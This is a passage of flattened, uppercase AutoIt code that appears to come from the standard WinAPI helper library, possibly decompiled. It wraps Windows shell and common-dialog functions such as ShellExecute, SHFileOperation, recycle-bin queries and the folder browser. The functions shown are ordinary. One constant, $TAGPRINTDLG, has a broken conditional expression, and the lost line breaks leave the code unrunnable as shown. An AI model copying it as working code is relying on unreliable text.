"SHCreateDirectoryExW" , "hwnd" , $HPARENT , "wstr" , $SFILEPATH , "struct*" , $TSECURITY ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) IF $ARET [0 ] THEN RETURN SETERROR (10 , $ARET [0 ] , 0 ) RETURN 1 ENDFUNC FUNC _WINAPI_SHELLEMPTYRECYCLEBIN ($SROOT = "" , $IFLAGS = 0 , $HPARENT = 0 ) LOCAL $ARET = DLLCALL ("shell32.dll" , "long" , "SHEmptyRecycleBinW" , "hwnd" , $HPARENT , "wstr" , $SROOT , "dword" , $IFLAGS ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) IF $ARET [0 ] THEN RETURN SETERROR (10 , $ARET [0 ] , 0 ) RETURN 1 ENDFUNC FUNC _WINAPI_SHELLEXECUTE ($SFILEPATH , $SARGS = "" , $SDIR = "" , $SVERB = "" , $ISHOW = 1 , $HPARENT = 0 ) LOCAL $STYPEOFARGS = "wstr" , $STYPEOFDIR = "wstr" , $STYPEOFVERB = "wstr" IF NOT STRINGSTRIPWS ($SARGS , $STR_STRIPLEADING + $STR_STRIPTRAILING ) THEN $STYPEOFARGS = "ptr" $SARGS = 0 ENDIF IF NOT STRINGSTRIPWS ($SDIR , $STR_STRIPLEADING + $STR_STRIPTRAILING ) THEN $STYPEOFDIR = "ptr" $SDIR = 0 ENDIF IF NOT STRINGSTRIPWS ($SVERB , $STR_STRIPLEADING + $STR_STRIPTRAILING ) THEN $STYPEOFVERB = "ptr" $SVERB = 0 ENDIF LOCAL $ARET = DLLCALL ("shell32.dll" , "ULONG_PTR" , "ShellExecuteW" , "hwnd" , $HPARENT , $STYPEOFVERB , $SVERB , "wstr" , $SFILEPATH , $STYPEOFARGS , $SARGS , $STYPEOFDIR , $SDIR , "int" , $ISHOW ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE ) IF $ARET [0 ] <= 32 THEN RETURN SETERROR (10 , $ARET [0 ] , 0 ) RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_SHELLEXECUTEEX (BYREF $TSHEXINFO ) LOCAL $ARET = DLLCALL ("shell32.dll" , "bool" , "ShellExecuteExW" , "struct*" , $TSHEXINFO ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_SHELLEXTRACTASSOCIATEDICON ($SFILEPATH , $BSMALL = FALSE ) LOCAL $IFLAGS = 256 IF NOT _WINAPI_PATHISDIRECTORY ($SFILEPATH ) THEN $IFLAGS = BITOR ($IFLAGS , 16 ) ENDIF IF $BSMALL THEN $IFLAGS = BITOR ($IFLAGS , 1 ) ENDIF LOCAL $TSHFILEINFO = DLLSTRUCTCREATE ($TAGSHFILEINFO ) IF NOT _WINAPI_SHELLGETFILEINFO ($SFILEPATH , $IFLAGS , 0 , $TSHFILEINFO ) THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , 0 ) RETURN DLLSTRUCTGETDATA ($TSHFILEINFO , "hIcon" ) ENDFUNC FUNC _WINAPI_SHELLEXTRACTICON ($SICON , $IINDEX , $IWIDTH , $IHEIGHT ) LOCAL $ARET = DLLCALL ("shell32.dll" , "int" , "SHExtractIconsW" , "wstr" , $SICON , "int" , $IINDEX , "int" , $IWIDTH , "int" , $IHEIGHT , "ptr*" , 0 , "ptr*" , 0 , "int" , 1 , "int" , 0 ) IF @ERROR OR NOT $ARET [0 ] OR NOT $ARET [5 ] THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $ARET [5 ] ENDFUNC FUNC _WINAPI_SHELLFILEOPERATION ($SFROM , $STO , $IFUNC , $IFLAGS , $STITLE = "" , $HPARENT = 0 ) LOCAL $IDATA IF NOT ISARRAY ($SFROM ) THEN $IDATA = $SFROM DIM $SFROM [1 ] = [$IDATA ] ENDIF LOCAL $TFROM = _WINAPI_ARRAYTOSTRUCT ($SFROM ) IF @ERROR THEN RETURN SETERROR (@ERROR + 20 , @EXTENDED , 0 ) IF NOT ISARRAY ($STO ) THEN $IDATA = $STO DIM $STO [1 ] = [$IDATA ] ENDIF LOCAL $TTO = _WINAPI_ARRAYTOSTRUCT ($STO ) IF @ERROR THEN RETURN SETERROR (@ERROR + 30 , @EXTENDED , 0 ) LOCAL $TSHFILEOPSTRUCT = DLLSTRUCTCREATE ($TAGSHFILEOPSTRUCT ) DLLSTRUCTSETDATA ($TSHFILEOPSTRUCT , "hWnd" , $HPARENT ) DLLSTRUCTSETDATA ($TSHFILEOPSTRUCT , "Func" , $IFUNC ) DLLSTRUCTSETDATA ($TSHFILEOPSTRUCT , "From" , DLLSTRUCTGETPTR ($TFROM ) ) DLLSTRUCTSETDATA ($TSHFILEOPSTRUCT , "To" , DLLSTRUCTGETPTR ($TTO ) ) DLLSTRUCTSETDATA ($TSHFILEOPSTRUCT , "Flags" , $IFLAGS ) DLLSTRUCTSETDATA ($TSHFILEOPSTRUCT , "ProgressTitle" , $STITLE ) LOCAL $ARET = DLLCALL ("shell32.dll" , "int" , "SHFileOperationW" , "struct*" , $TSHFILEOPSTRUCT ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) IF $ARET [0 ] THEN RETURN SETERROR (10 , $ARET [0 ] , 0 ) RETURN $TSHFILEOPSTRUCT ENDFUNC FUNC _WINAPI_SHELLFLUSHSFCACHE () DLLCALL ("shell32.dll" , "none" , "SHFlushSFCache" ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN 1 ENDFUNC FUNC _WINAPI_SHELLGETFILEINFO ($SFILEPATH , $IFLAGS , $IATTRIBUTES , BYREF $TSHFILEINFO ) LOCAL $ARET = DLLCALL ("shell32.dll" , "dword_ptr" , "SHGetFileInfoW" , "wstr" , $SFILEPATH , "dword" , $IATTRIBUTES , "struct*" , $TSHFILEINFO , "uint" , DLLSTRUCTGETSIZE ($TSHFILEINFO ) , "uint" , $IFLAGS ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_SHELLGETICONOVERLAYINDEX ($SICON , $IINDEX ) LOCAL $STYPEOFICON = "wstr" IF NOT STRINGSTRIPWS ($SICON , $STR_STRIPLEADING + $STR_STRIPTRAILING ) THEN $STYPEOFICON = "ptr" $SICON = 0 ENDIF LOCAL $ARET = DLLCALL ("shell32.dll" , "int" , "SHGetIconOverlayIndexW" , $STYPEOFICON , $SICON , "int" , $IINDEX ) IF @ERROR OR ($ARET [0 ] = + 4294967295 ) THEN RETURN SETERROR (@ERROR , @EXTENDED , + 4294967295 ) RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_SHELLGETKNOWNFOLDERIDLIST ($SGUID , $IFLAGS = 0 , $HTOKEN = 0 ) LOCAL $TGUID = DLLSTRUCTCREATE ($TAGGUID ) LOCAL $ARET = DLLCALL ("ole32.dll" , "uint" , "CLSIDFromString" , "wstr" , $SGUID , "struct*" , $TGUID ) IF @ERROR OR $ARET [0 ] THEN RETURN SETERROR (@ERROR + 20 , @EXTENDED , 0 ) $ARET = DLLCALL ("shell32.dll" , "uint" , "SHGetKnownFolderIDList" , "struct*" , $TGUID , "dword" , $IFLAGS , "handle" , $HTOKEN , "ptr*" , 0 ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) IF $ARET [0 ] THEN RETURN SETERROR (10 , $ARET [0 ] , 0 ) RETURN $ARET [4 ] ENDFUNC FUNC _WINAPI_SHELLGETKNOWNFOLDERPATH ($SGUID , $IFLAGS = 0 , $HTOKEN = 0 ) LOCAL $TGUID = DLLSTRUCTCREATE ($TAGGUID ) LOCAL $ARET = DLLCALL ("ole32.dll" , "long" , "CLSIDFromString" , "wstr" , $SGUID , "struct*" , $TGUID ) IF @ERROR OR $ARET [0 ] THEN RETURN SETERROR (@ERROR + 20 , @EXTENDED , "" ) $ARET = DLLCALL ("shell32.dll" , "long" , "SHGetKnownFolderPath" , "struct*" , $TGUID , "dword" , $IFLAGS , "handle" , $HTOKEN , "ptr*" , 0 ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , "" ) IF $ARET [0 ] THEN RETURN SETERROR (10 , $ARET [0 ] , "" ) LOCAL $SPATH = _WINAPI_GETSTRING ($ARET [4 ] ) _WINAPI_COTASKMEMFREE ($ARET [4 ] ) RETURN $SPATH ENDFUNC FUNC _WINAPI_SHELLGETLOCALIZEDNAME ($SFILEPATH ) LOCAL $ARET = DLLCALL ("shell32.dll" , "long" , "SHGetLocalizedName" , "wstr" , $SFILEPATH , "wstr" , "" , "uint*" , 0 , "int*" , 0 ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) IF $ARET [0 ] THEN RETURN SETERROR (10 , $ARET [0 ] , 0 ) LOCAL $ARESULT [2 ] LOCAL $ARET1 = DLLCALL ("kernel32.dll" , "dword" , "ExpandEnvironmentStringsW" , "wstr" , $ARET [2 ] , "wstr" , "" , "dword" , 4096 ) $ARESULT [0 ] = $ARET1 [2 ] $ARESULT [1 ] = $ARET [4 ] RETURN $ARESULT ENDFUNC FUNC _WINAPI_SHELLGETPATHFROMIDLIST ($PPIDL ) LOCAL $ARET = DLLCALL ("shell32.dll" , "bool" , "SHGetPathFromIDListW" , "struct*" , $PPIDL , "wstr" , "" ) IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR , @EXTENDED , "" ) RETURN $ARET [2 ] ENDFUNC FUNC _WINAPI_SHELLGETSETFOLDERCUSTOMSETTINGS ($SFILEPATH , $IFLAG , BYREF $TSHFCS ) LOCAL $SPROC = "SHGetSetFolderCustomSettings" IF $__WINVER < 1536 THEN $SPROC &= "W" LOCAL $ARET = DLLCALL ("shell32.dll" , "long" , $SPROC , "struct*" , $TSHFCS , "wstr" , $SFILEPATH , "dword" , $IFLAG ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) IF $ARET [0 ] THEN RETURN SETERROR (10 , $ARET [0 ] , 0 ) RETURN 1 ENDFUNC FUNC _WINAPI_SHELLGETSETTINGS ($IFLAGS ) LOCAL $TSHELLSTATE = DLLSTRUCTCREATE ("uint[8]" ) DLLCALL ("shell32.dll" , "none" , "SHGetSetSettings" , "struct*" , $TSHELLSTATE , "dword" , $IFLAGS , "bool" , 0 ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) LOCAL $IVAL1 = DLLSTRUCTGETDATA ($TSHELLSTATE , 1 , 1 ) LOCAL $IVAL2 = DLLSTRUCTGETDATA ($TSHELLSTATE , 1 , 8 ) LOCAL $IRESULT = 0 LOCAL $AOPT [20 ] [2 ] = [[1 , 1 ] , [2 , 2 ] , [4 , 32768 ] , [8 , 32 ] , [16 , 8 ] , [32 , 128 ] , [64 , 512 ] , [128 , 1024 ] , [256 , 2048 ] , [1024 , 4096 ] , [2048 , 8192 ] , [4096 , 16384 ] , [8192 , 131072 ] , [32768 , 262144 ] , [65536 , 1048576 ] , [1 , 524288 ] , [2 , 2097152 ] , [8 , 8388608 ] , [16 , 16777216 ] , [32 , 33554432 ] ] FOR $I = 0 TO 14 IF BITAND ($IVAL1 , $AOPT [$I ] [0 ] ) THEN $IRESULT += $AOPT [$I ] [1 ] ENDIF NEXT FOR $I = 15 TO 19 IF BITAND ($IVAL2 , $AOPT [$I ] [0 ] ) THEN $IRESULT += $AOPT [$I ] [1 ] ENDIF NEXT RETURN $IRESULT ENDFUNC FUNC _WINAPI_SHELLGETSPECIALFOLDERLOCATION ($ICSIDL ) LOCAL $ARET = DLLCALL ("shell32.dll" , "long" , "SHGetSpecialFolderLocation" , "hwnd" , 0 , "int" , $ICSIDL , "ptr*" , 0 ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) IF $ARET [0 ] THEN RETURN SETERROR (10 , $ARET [0 ] , 0 ) RETURN $ARET [3 ] ENDFUNC FUNC _WINAPI_SHELLGETSPECIALFOLDERPATH ($ICSIDL , $BCREATE = FALSE ) LOCAL $ARET = DLLCALL ("shell32.dll" , "bool" , "SHGetSpecialFolderPathW" , "hwnd" , 0 , "wstr" , "" , "int" , $ICSIDL , "bool" , $BCREATE ) IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , "" ) RETURN $ARET [2 ] ENDFUNC FUNC _WINAPI_SHELLGETSTOCKICONINFO ($ISIID , $IFLAGS ) LOCAL $TSHSTOCKICONINFO = DLLSTRUCTCREATE ($TAGSHSTOCKICONINFO ) DLLSTRUCTSETDATA ($TSHSTOCKICONINFO , "Size" , DLLSTRUCTGETSIZE ($TSHSTOCKICONINFO ) ) LOCAL $ARET = DLLCALL ("shell32.dll" , "long" , "SHGetStockIconInfo" , "int" , $ISIID , "uint" , $IFLAGS , "struct*" , $TSHSTOCKICONINFO ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) IF $ARET [0 ] THEN RETURN SETERROR (10 , $ARET [0 ] , 0 ) RETURN $TSHSTOCKICONINFO ENDFUNC FUNC _WINAPI_SHELLILCREATEFROMPATH ($SFILEPATH ) LOCAL $ARET = DLLCALL ("shell32.dll" , "long" , "SHILCreateFromPath" , "wstr" , $SFILEPATH , "ptr*" , 0 , "dword*" , 0 ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) IF $ARET [0 ] THEN RETURN SETERROR (10 , $ARET [0 ] , 0 ) RETURN $ARET [2 ] ENDFUNC FUNC _WINAPI_SHELLNOTIFYICON ($IMESSAGE , BYREF $TNOTIFYICONDATA ) LOCAL $ARET = DLLCALL ("shell32.dll" , "bool" , "Shell_NotifyIconW" , "dword" , $IMESSAGE , "struct*" , $TNOTIFYICONDATA ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE ) RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_SHELLNOTIFYICONGETRECT ($HWND , $IID , $TGUID = 0 ) LOCAL $TNII = DLLSTRUCTCREATE ("dword;hwnd;uint;" & $TAGGUID ) DLLSTRUCTSETDATA ($TNII , 1 , DLLSTRUCTGETSIZE ($TNII ) ) DLLSTRUCTSETDATA ($TNII , 2 , $HWND ) DLLSTRUCTSETDATA ($TNII , 3 , $IID ) IF ISDLLSTRUCT ($TGUID ) THEN IF NOT _WINAPI_MOVEMEMORY (DLLSTRUCTGETPTR ($TNII , 4 ) , $TGUID , 16 ) THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , 0 ) ENDIF LOCAL $TRECT = DLLSTRUCTCREATE ($TAGRECT ) LOCAL $ARET = DLLCALL ("shell32.dll" , "long" , "Shell_NotifyIconGetRect" , "struct*" , $TNII , "struct*" , $TRECT ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) IF $ARET [0 ] THEN RETURN SETERROR (10 , $ARET [0 ] , 0 ) RETURN $TRECT ENDFUNC FUNC _WINAPI_SHELLOBJECTPROPERTIES ($SFILEPATH , $ITYPE = 2 , $SPROPERTY = "" , $HPARENT = 0 ) LOCAL $STYPEOFPROPERTY = "wstr" IF NOT STRINGSTRIPWS ($SPROPERTY , $STR_STRIPLEADING + $STR_STRIPTRAILING ) THEN $STYPEOFPROPERTY = "ptr" $SPROPERTY = 0 ENDIF LOCAL $ARET = DLLCALL ("shell32.dll" , "bool" , "SHObjectProperties" , "hwnd" , $HPARENT , "dword" , $ITYPE , "wstr" , $SFILEPATH , $STYPEOFPROPERTY , $SPROPERTY ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE ) RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_SHELLOPENFOLDERANDSELECTITEMS ($SFILEPATH , $ANAMES = 0 , $ISTART = 0 , $IEND = + 4294967295 , $IFLAGS = 0 ) LOCAL $PPIDL , $ARET , $TPTR = 0 , $ICOUNT = 0 , $IOBJ = 0 , $IERROR = 0 $SFILEPATH = _WINAPI_PATHREMOVEBACKSLASH (_WINAPI_PATHSEARCHANDQUALIFY ($SFILEPATH ) ) IF ISARRAY ($ANAMES ) THEN IF $SFILEPATH AND NOT _WINAPI_PATHISDIRECTORY ($SFILEPATH ) THEN RETURN SETERROR (@ERROR + 20 , @EXTENDED , 0 ) ENDIF $PPIDL = _WINAPI_SHELLILCREATEFROMPATH ($SFILEPATH ) IF @ERROR THEN RETURN SETERROR (@ERROR + 30 , @EXTENDED , 0 ) IF NOT __CHECKERRORARRAYBOUNDS ($ANAMES , $ISTART , $IEND ) THEN $TPTR = DLLSTRUCTCREATE ("ptr[" & ($IEND - $ISTART + 1 ) & "]" ) FOR $I = $ISTART TO $IEND $ICOUNT += 1 IF $ANAMES [$I ] THEN DLLSTRUCTSETDATA ($TPTR , 1 , _WINAPI_SHELLILCREATEFROMPATH ($SFILEPATH & "\" & $ANAMES [$I ] ) , $ICOUNT ) ELSE DLLSTRUCTSETDATA ($TPTR , 1 , 0 , $ICOUNT ) ENDIF NEXT ENDIF IF _WINAPI_COINITIALIZE () THEN $IOBJ = 1 $ARET = DLLCALL ("shell32.dll" , "long" , "SHOpenFolderAndSelectItems" , "ptr" , $PPIDL , "uint" , $ICOUNT , "struct*" , $TPTR , "dword" , $IFLAGS ) IF @ERROR THEN $IERROR = @ERROR + 10 ELSE IF $ARET [0 ] THEN $IERROR = 10 ENDIF IF $IOBJ THEN _WINAPI_COUNINITIALIZE () _WINAPI_COTASKMEMFREE ($PPIDL ) FOR $I = 1 TO $ICOUNT $PPIDL = DLLSTRUCTGETDATA ($TPTR , $I ) IF $PPIDL THEN _WINAPI_COTASKMEMFREE ($PPIDL ) ENDIF NEXT IF $IERROR = 10 THEN RETURN SETERROR (10 , $ARET [0 ] , 0 ) IF $IERROR THEN RETURN SETERROR ($IERROR , 0 , 0 ) RETURN 1 ENDFUNC FUNC _WINAPI_SHELLQUERYRECYCLEBIN ($SROOT = "" ) LOCAL $TSHQRBI = DLLSTRUCTCREATE ("align 4;dword_ptr;int64;int64" ) DLLSTRUCTSETDATA ($TSHQRBI , 1 , DLLSTRUCTGETSIZE ($TSHQRBI ) ) LOCAL $ARET = DLLCALL ("shell32.dll" , "long" , "SHQueryRecycleBinW" , "wstr" , $SROOT , "struct*" , $TSHQRBI ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) IF $ARET [0 ] THEN RETURN SETERROR (10 , $ARET [0 ] , 0 ) LOCAL $ARESULT [2 ] $ARESULT [0 ] = DLLSTRUCTGETDATA ($TSHQRBI , 2 ) $ARESULT [1 ] = DLLSTRUCTGETDATA ($TSHQRBI , 3 ) RETURN $ARESULT ENDFUNC FUNC _WINAPI_SHELLQUERYUSERNOTIFICATIONSTATE () LOCAL $ARET = DLLCALL ("shell32.dll" , "long" , "SHQueryUserNotificationState" , "uint*" , 0 ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) IF $ARET [0 ] THEN RETURN SETERROR (10 , $ARET [0 ] , 0 ) RETURN $ARET [1 ] ENDFUNC FUNC _WINAPI_SHELLREMOVELOCALIZEDNAME ($SFILEPATH ) LOCAL $ARET = DLLCALL ("shell32.dll" , "long" , "SHRemoveLocalizedName" , "wstr" , $SFILEPATH ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) IF $ARET [0 ] THEN RETURN SETERROR (10 , $ARET [0 ] , 0 ) RETURN 1 ENDFUNC FUNC _WINAPI_SHELLRESTRICTED ($IRESTRICTION ) LOCAL $ARET = DLLCALL ("shell32.dll" , "dword" , "SHRestricted" , "uint" , $IRESTRICTION ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_SHELLSETKNOWNFOLDERPATH ($SGUID , $SFILEPATH , $IFLAGS = 0 , $HTOKEN = 0 ) LOCAL $TGUID = DLLSTRUCTCREATE ($TAGGUID ) LOCAL $ARET = DLLCALL ("ole32.dll" , "long" , "CLSIDFromString" , "wstr" , $SGUID , "struct*" , $TGUID ) IF @ERROR OR $ARET [0 ] THEN RETURN SETERROR (@ERROR + 20 , @EXTENDED , 0 ) $ARET = DLLCALL ("shell32.dll" , "long" , "SHSetKnownFolderPath" , "struct*" , $TGUID , "dword" , $IFLAGS , "handle" , $HTOKEN , "wstr" , $SFILEPATH ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) IF $ARET [0 ] THEN RETURN SETERROR (10 , $ARET [0 ] , 0 ) RETURN 1 ENDFUNC FUNC _WINAPI_SHELLSETLOCALIZEDNAME ($SFILEPATH , $SMODULE , $IRESID ) LOCAL $ARET = DLLCALL ("shell32.dll" , "long" , "SHSetLocalizedName" , "wstr" , $SFILEPATH , "wstr" , $SMODULE , "int" , $IRESID ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) IF $ARET [0 ] THEN RETURN SETERROR (10 , $ARET [0 ] , 0 ) RETURN 1 ENDFUNC FUNC _WINAPI_SHELLSETSETTINGS ($IFLAGS , $BSET ) LOCAL $IVAL1 = 0 , $IVAL2 = 0 LOCAL $AOPT [20 ] [2 ] = [[1 , 1 ] , [2 , 2 ] , [4 , 32768 ] , [8 , 32 ] , [16 , 8 ] , [32 , 128 ] , [64 , 512 ] , [128 , 1024 ] , [256 , 2048 ] , [1024 , 4096 ] , [2048 , 8192 ] , [4096 , 16384 ] , [8192 , 131072 ] , [32768 , 262144 ] , [65536 , 1048576 ] , [1 , 524288 ] , [2 , 2097152 ] , [8 , 8388608 ] , [16 , 16777216 ] , [32 , 33554432 ] ] IF $BSET THEN FOR $I = 0 TO 14 IF BITAND ($IFLAGS , $AOPT [$I ] [1 ] ) THEN $IVAL1 += $AOPT [$I ] [0 ] ENDIF NEXT FOR $I = 15 TO 19 IF BITAND ($IFLAGS , $AOPT [$I ] [1 ] ) THEN $IVAL2 += $AOPT [$I ] [0 ] ENDIF NEXT ENDIF LOCAL $TSHELLSTATE = DLLSTRUCTCREATE ("uint[8]" ) DLLSTRUCTSETDATA ($TSHELLSTATE , 1 , $IVAL1 , 1 ) DLLSTRUCTSETDATA ($TSHELLSTATE , 1 , $IVAL2 , 8 ) DLLCALL ("shell32.dll" , "none" , "SHGetSetSettings" , "struct*" , $TSHELLSTATE , "dword" , $IFLAGS , "bool" , 1 ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN 1 ENDFUNC FUNC _WINAPI_SHELLUPDATEIMAGE ($SICON , $IINDEX , $IIMAGE , $IFLAGS = 0 ) DLLCALL ("shell32.dll" , "none" , "SHUpdateImageW" , "wstr" , $SICON , "int" , $IINDEX , "uint" , $IFLAGS , "int" , $IIMAGE ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN 1 ENDFUNC #EndRegion Public Functions #Region Global Variables and Constants GLOBAL $__G_PFRBUFFER = 0 , $__G_IFRBUFFERSIZE = 16385 GLOBAL CONST $TAGDEVNAMES = "ushort DriverOffset;ushort DeviceOffset;ushort OutputOffset;ushort Default" GLOBAL CONST $TAGFINDREPLACE = "dword Size;hwnd hOwner;ptr hInstance;dword Flags;ptr FindWhat;ptr ReplaceWith;ushort FindWhatLen;ushort ReplaceWithLen;lparam lParam;ptr Hook;ptr TemplateName" GLOBAL CONST $TAGMSGBOXPARAMS = "uint Size;hwnd hOwner;ptr hInstance;int_ptr Text;int_ptr Caption;dword Style;int_ptr Icon;dword_ptr ContextHelpId;ptr MsgBoxCallback;dword LanguageId" GLOBAL CONST $TAGPAGESETUPDLG = "dword Size;hwnd hOwner;ptr hDevMode;ptr hDevNames;dword Flags;long PaperWidth;long PaperHeight;long MarginMinLeft;long MarginMinTop;long MarginMinRight;long MarginMinBottom;long MarginLeft;long MarginTop;long MarginRight;long MarginBottom;ptr hInstance;lparam lParam;ptr PageSetupHook;ptr PagePaintHook;ptr PageSetupTemplateName;ptr hPageSetupTemplate" GLOBAL CONST $TAGPRINTDLG = (@AUTOITX64 "" "align 2;" ) & "dword Size;hwnd hOwner;handle hDevMode;handle hDevNames;handle hDC;dword Flags;word FromPage;word ToPage;word MinPage;word MaxPage;word Copies;handle hInstance;lparam lParam;ptr PrintHook;ptr SetupHook;ptr PrintTemplateName;ptr SetupTemplateName;handle hPrintTemplate;handle hSetupTemplate" GLOBAL CONST $TAGPRINTDLGEX = "dword Size;hwnd hOwner;handle hDevMode;handle hDevNames;handle hDC;dword Flags;dword Flags2;dword ExclusionFlags;dword NumPageRanges;dword MaxPageRanges;ptr PageRanges;dword MinPage;dword MaxPage;dword Copies;handle hInstance;ptr PrintTemplateName;lparam lParam;dword NumPropertyPages;ptr hPropertyPages;dword StartPage;dword ResultAction" GLOBAL CONST $TAGPRINTPAGERANGE = "dword FromPage;dword ToPage" #EndRegion Global Variables and Constants #Region Functions list #EndRegion Functions list #Region Public Functions FUNC _WINAPI_BROWSEFORFOLDERDLG ($SROOT = "" , $STEXT = "" , $IFLAGS = 0 , $PBROWSEPROC = 0 , $LPARAM = 0 , $HPARENT = 0 ) LOCAL CONST $TAGBROWSEINFO = "hwnd hwndOwner;ptr pidlRoot;ptr pszDisplayName; ptr lpszTitle;uint ulFlags;ptr lpfn;lparam lParam;int iImage" LOCAL $TBROWSEINFO = DLLSTRUCTCREATE ($TAGBROWSEINFO & ";wchar[" & (STRINGLEN ($STEXT ) + 1 ) & "];wchar[260]" ) LOCAL $PPIDL = 0 , $SRESULT = "" IF STRINGSTRIPWS ($SROOT , $STR_STRIPLEADING + $STR_STRIPTRAILING ) THEN LOCAL $SPATH = _WINAPI_PATHSEARCHANDQUALIFY ($SROOT , 1 ) IF @ERROR THEN $SPATH = $SROOT ENDIF $PPIDL = _WINAPI_SHELLILCREATEFROMPATH ($SPATH ) IF @ERROR THEN ENDIF ENDIF DLLSTRUCTSETDATA ($TBROWSEINFO , 1 , $HPARENT ) DLLSTRUCTSETDATA ($TBROWSEINFO , 2 , $PPIDL ) DLLSTRUCTSETDATA ($TBROWSEINFO , 3 , DLLSTRUCTGETPTR ($TBROWSEINFO , 10 ) ) DLLSTRUCTSETDATA ($TBROWSEINFO , 4 , DLLSTRUCTGETPTR ($TBROWSEINFO , 9 ) ) DLLSTRUCTSETDATA ($TBROWSEINFO , 5 , $IFLAGS ) DLLSTRUCTSETDATA ($TBROWSEINFO , 6 , $PBROWSEPROC ) DLLSTRUCTSETDATA ($TBROWSEINFO , 7 , $LPARAM ) DLLSTRUCTSETDATA ($TBROWSEINFO , 8 , 0 ) DLLSTRUCTSETDATA ($TBROWSEINFO , 9 , $STEXT ) LOCAL $ARET = DLLCALL ("shell32.dll" , "ptr" , "SHBrowseForFolderW" , "struct*" , $TBROWSEINFO ) IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR , @EXTENDED , "" ) $SRESULT = _WINAPI_SHELLGETPATHFROMIDLIST ($ARET [0 ] ) _WINAPI_COTASKMEMFREE ($ARET [0 ] ) IF $PPIDL THEN _WINAPI_COTASKMEMFREE ($PPIDL ) ENDIF IF NOT $SRESULT THEN RETURN SETERROR (10 , 0 , "" ) RETURN $SRESULT ENDFUNC FUNC _WINAPI_COMMDLGEXTENDEDERROR () LOCAL CONST $CDERR_DIALOGFAILURE = 65535 LOCAL CONST $CDERR_FINDRESFAILURE = 6 LOCAL CONST $CDERR_INITIALIZATION = 2 LOCAL CONST $CDERR_LOADRESFAILURE = 7 LOCAL CONST $CDERR_LOADSTRFAILURE = 5 LOCAL CONST $CDERR_LOCKRESFAILURE = 8 LOCAL CONST $CDERR_MEMALLOCFAILURE = 9 LOCAL CONST $CDERR_MEMLOCKFAILURE = 10 LOCAL CONST $CDERR_NOHINSTANCE = 4 LOCAL CONST $CDERR_NOHOOK = 11 LOCAL CONST $CDERR_NOTEMPLATE = 3 LOCAL CONST $CDERR_REGISTERMSGFAIL = 12 LOCAL CONST $CDERR_STRUCTSIZE = 1 LOCAL CONST $FNERR_BUFFERTOOSMALL = 12291 LOCAL CONST $FNERR_INVALIDFILENAME = 12290 LOCAL CONST $FNERR_SUBCLASSFAILURE = 12289 LOCAL $ARESULT = DLLCALL ("comdlg32.dll" , "dword" , "CommDlgExtendedError" ) IF NOT @ERROR THEN SWITCH $ARESULT [0 ] CASE $CDERR_DIALOGFAILURE RETURN SETERROR ($ARESULT [0 ] , 0 , "The dialog box could not be created." & @LF & "The common dialog box function's call to the DialogBox function failed." & @LF & "For example, this error occurs if the common dialog box call specifies an invalid window handle." ) CASE $CDERR_FINDRESFAILURE RETURN SETERROR ($ARESULT [0 ] , 0 , "The common dialog box function failed to find a specified resource." ) CASE $CDERR_INITIALIZATION RETURN SETERROR ($ARESULT [0 ] , 0 , "The common dialog box function failed during initialization." & @LF & "This error often occurs when sufficient memory is not available." ) CASE $CDERR_LOADRESFAILURE RETURN SETERROR ($ARESULT [0 ] , 0 , "The common dialog box function failed to load a specified resource." ) CASE $CDERR_LOADSTRFAILURE RETURN SETERROR ($ARESULT [0 ] , 0 , "The common dialog box function failed to load a specified string." ) CASE $CDERR_LOCKRESFAILURE RETURN SETERROR ($ARESULT [0 ] , 0 , "The common dialog box function failed to lock a specified resource." ) CASE $CDERR_MEMALLOCFAILURE RETURN SETERROR ($ARESULT [0 ] , 0 , "The common dialog box function was unable to allocate memory for internal structures." ) CASE $CDERR_MEMLOCKFAILURE RETURN SETERROR ($ARESULT [0 ] , 0 , "The common dialog box function was unable to lock the memory associated with a handle." ) CASE $CDERR_NOHINSTANCE RETURN SETERROR ($ARESULT [0 ] , 0 , "The ENABLETEMPLATE flag was set in the Flags member of the initialization 